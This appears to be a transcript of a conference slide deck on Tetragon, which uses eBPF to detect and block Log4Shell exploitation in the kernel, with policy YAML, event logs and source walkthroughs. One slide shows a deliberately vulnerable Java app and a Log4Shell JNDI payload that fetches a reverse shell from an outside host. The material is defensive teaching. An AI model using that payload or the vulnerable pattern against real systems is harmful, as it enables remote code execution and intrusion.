Upgrade to PRO for Only $50/Year—Limited-Time Offer! 🔥

Tetragon

 Tetragon

Introduction

Avatar for Dimitrij Klesev

Dimitrij Klesev

November 27, 2025
Tweet

More Decks by Dimitrij Klesev

Other Decks in Technology

Transcript

  1. 27.11.2025 eBPF Vienna 3 CVE-2021-44228 | Log4Shell 17 // userInput

    is ${jndi:ldap://192.168.1.11:1389/Basic/ReverseShell/192.168.1.11/9001} 18 logger.error("User input: {}", userInput); 1 import org.apache.logging.log4j.LogManager; 2 import org.apache.logging.log4j.Logger; 3 ... 4 public class VulnerableApp { 5 private static final Logger logger = LogManager.getLogger(VulnerableApp.class); 6 7 public static void main(String[] args) throws Exception { 8 HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0); 9 server.createContext("/", (exchange -> { 10 try { 11 String query = exchange.getRequestURI().getQuery(); 12 ... 13 if (query != null && query.contains("=")) { 14 userInput = query.substring(query.indexOf("=") + 1); 15 } 16 ... 19 ... 20 }
  2. 27.11.2025 eBPF Vienna 6 Linux Security Modules (LSM) LSM SELinux

    AppArmor Landlock Kernel modules Disadvantages? Policies are declarative and pre-defined, not dynamically programmable Rules are written in a policy language, compiled/loaded into the kernel Can’t easily change enforcement logic based on runtime conditions without reloading
  3. 27.11.2025 eBPF Vienna 7 Userspace Userspace-based monitoring daemons commercial Host-Based

    Intrusion Detection System (HIDS) Disadvantages? Time-of-Check-to-Time-of-Use (TOCTOU) High latency Reactive, not proactive Context switch overhead
  4. 27.11.2025 eBPF Vienna 8 Userspace Userspace Monitor 👁️ Kernel Compromised

    Application Userspace Monitor 👁️ Kernel Compromised Application Kernel | User space 🐛 Bad action attempted syscall (execve, etc.) Event detected Compare event with policy 🔒 ⚠️ Event is out of policy
  5. 27.11.2025 eBPF Vienna 9 Userspace Userspace Monitor 👁️ Kernel Compromised

    Application Userspace Monitor 👁️ Kernel Compromised Application Kernel | User space ⏱️ TOCTOU Window 🔥 Bad action COMPLETES Malicious process killed Malicious code executes Send SIGKILL SIGKILL ⚡
  6. 27.11.2025 eBPF Vienna 12 What is Tetragon? Userspace Observer 👁️

    Kernel (Tetragon eBPF) Compromised Application Userspace Observer 👁️ Kernel (Tetragon eBPF) Compromised Application Kernel | User space 🐛 Bad action attempted ⚡ In-kernel enforcement syscall (execve, etc.) Compare event with policy 🔒 ⚠️ Event is out of policy
  7. 27.11.2025 eBPF Vienna 13 What is Tetragon? Userspace Observer 👁️

    Kernel (Tetragon eBPF) Compromised Application Userspace Observer 👁️ Kernel (Tetragon eBPF) Compromised Application Kernel | User space ⚡ In-kernel enforcement alt [Sigkill Policy] [LSM/fmod_ret Policy] Malicious process killed ✅ Bad action NEVER completes bpf_send_signal(SIGKILL) Return -EPERM execve() fails Out-of-policy event reported
  8. 27.11.2025 eBPF Vienna 14 Tetragon | Policies 18 matchActions: 19

    - action: "NotifyEnforcer" 20 argError: -1 1 apiVersion: cilium.io/v1alpha1 2 kind: TracingPolicy 3 metadata: 4 name: "block-log4shell-lsm" 5 spec: 6 enforcers: 7 - calls: 8 - "security_bprm_check" 9 kprobes: 10 - call: "security_bprm_check" 11 syscall: false 12 selectors: 13 - matchBinaries: 14 - operator: "In" 15 values: 16 - "/usr/bin/java" 17 - "/opt/java/openjdk/bin/java"
  9. 27.11.2025 eBPF Vienna 15 Tetragon | Policies apiVersion: cilium.io/v1alpha1 kind:

    TracingPolicy metadata: name: "block-log4shell-sigkill" spec: kprobes: - call: "sys_execve" syscall: true args: [index: 0, type: "string"] selectors: - matchBinaries: - operator: "In" values: - "/usr/bin/java" matchArgs: - index: 0 operator: "Equal" values: ["/bin/sh"] matchActions: - action: "Sigkill" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
  10. 27.11.2025 eBPF Vienna 16 Tetragon | Events 💥 exit node01

    /opt/java/openjdk/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j2.formatMsgNoLookups=false -cp .:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar VulnerableApp 255 1 $ sudo tetra getevents -o compact 2 ❓ syscall node01 /opt/java/openjdk/bin/java security_bprm_check 3 4
  11. 27.11.2025 eBPF Vienna 17 Tetragon | Events 34 "function_name": "security_bprm_check",

    35 "action": "KPROBE_ACTION_NOTIFYENFORCER", 36 "policy_name": "block-log4shell-lsm", 37 "return_action": "KPROBE_ACTION_POST" p , 22 "uid": 0, 23 "cwd": "/app", 24 "binary": "/opt/java/openjdk/bin/java", 25 "arguments": "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j2.formatMsgNoLookups=false -cp 26 "flags": "execve inInitTree", 27 "start_time": "2025-11-16T00:35:58.982606692Z", 28 "auid": 4294967295, 29 "docker": "55ef202b62bb7965d34a9d82dfaef4f", 30 "parent_exec_id": "bm9kZTAxOjk3NjQwNDExNzcxNDE6MjIyMDI=", 31 "tid": 22202, 32 "in_init_tree": true 33 }, 38 }, 39 "node_name": "node01", 40 "time": "2025-11-16T00:36:49.878270464Z" 41 }
  12. 27.11.2025 eBPF Vienna 18 Tetragon | Internals int generic_kprobe_actions(void *ctx);

    [TAIL_CALL_ACTIONS] = (void *)&generic_kprobe_actions, generic_actions(ctx, (struct bpf_map_def *)&kprobe_calls); 1 //tetragon/bpf/process/bpf_generic_kprobe.c 2 #define GENERIC_KPROBE 3 ... 4 5 6 struct { 7 __uint(type, BPF_MAP_TYPE_PROG_ARRAY); 8 __uint(max_entries, 13); 9 __type(key, __u32); 10 __array(values, int(void *)); 11 } kprobe_calls SEC(".maps") = { 12 .values = { 13 ... 14 15 ... 16 generic_kprobe_actions(void *ctx) 17 { 18 19 return 0; 20 }
  13. 27.11.2025 eBPF Vienna 19 Tetragon generic_actions() is the core function

    that executes policy actions (Sigkill, NotifyEnforcer, etc.) after Tetragon has matched a selector and determined that an event should trigger an action. | Internals 44 // 8. If postit=true, send event to userspace 45 if (postit) 46 tail_call(ctx, calls, TAIL_CALL_SEND); 47 return postit; g _ g_ p ; 32 33 actoff = pass + arg->arglen; 34 35 // 6. VERIFIER TRICK: Bound check for actions offset 36 asm volatile("%[actoff] &= 0x7ff;\n" 37 : [actoff] "+r"(actoff) 38 :); 39 actions = (struct selector_action *)&f[actoff]; 40 41 // 7. Execute the actions (Sigkill, NotifyEnforcer, etc.) 42 postit = do_actions(ctx, actions); 43 48 }
  14. 27.11.2025 eBPF Vienna 20 Tetragon | Internals 15 case ACTION_NOTIFY_ENFORCER:

    16 error = actions->act[++i]; 17 signal = actions->act[++i]; 18 argi = actions->act[++i]; 19 if (enforce_mode) { 20 do_action_notify_enforcer(e, error, signal, argi); 21 polacct = POLICY_NOTIFY_ENFORCER; 22 } else { 23 polacct = POLICY_MONITOR_NOTIFY_ENFORCER; 24 } 25 break; 12 } 13 break; 14 ... 26 ... 27 default: 28 break; 29 } 30 ... 31 return 0; 32 }
  15. 27.11.2025 eBPF Vienna 21 Tetragon so the eBPF flow is

    this (when Java tries execve("/bin/sh") ): | Internals 4 // BPF helper function BPF_FUNC_send_signal (helper ID 109) 5 send_signal(signal); 1 //tetragon/bpf/process/types/basic.h 2 FUNC_INLINE void do_action_signal(int signal) 3 { 6 } generic_actions() ├─ Reads filter_map ├─ Navigates to actions using pass + arglen ├─ Calls do_actions() │ └─ Calls do_action() │ └─ switch(ACTION_SIGKILL) │ └─ do_action_signal(9) │ └─ send_signal(9) │ └─ bpf_send_signal(9) 👈 KERNEL KILLS PROCESS └─ Returns true → sends event to userspace
  16. 27.11.2025 eBPF Vienna 22 Summary eBPF is a powerful technology

    for observability and security Tetragon leverages eBPF for real-time security monitoring and enforcement The usability and flexibility of Tetragon make it a valuable tool for modern Linux security Open Questions We looked into a "single system", what about the other parts of usual infrastructure? How to deploy Tetragon at scale? How to know what to put into the policy?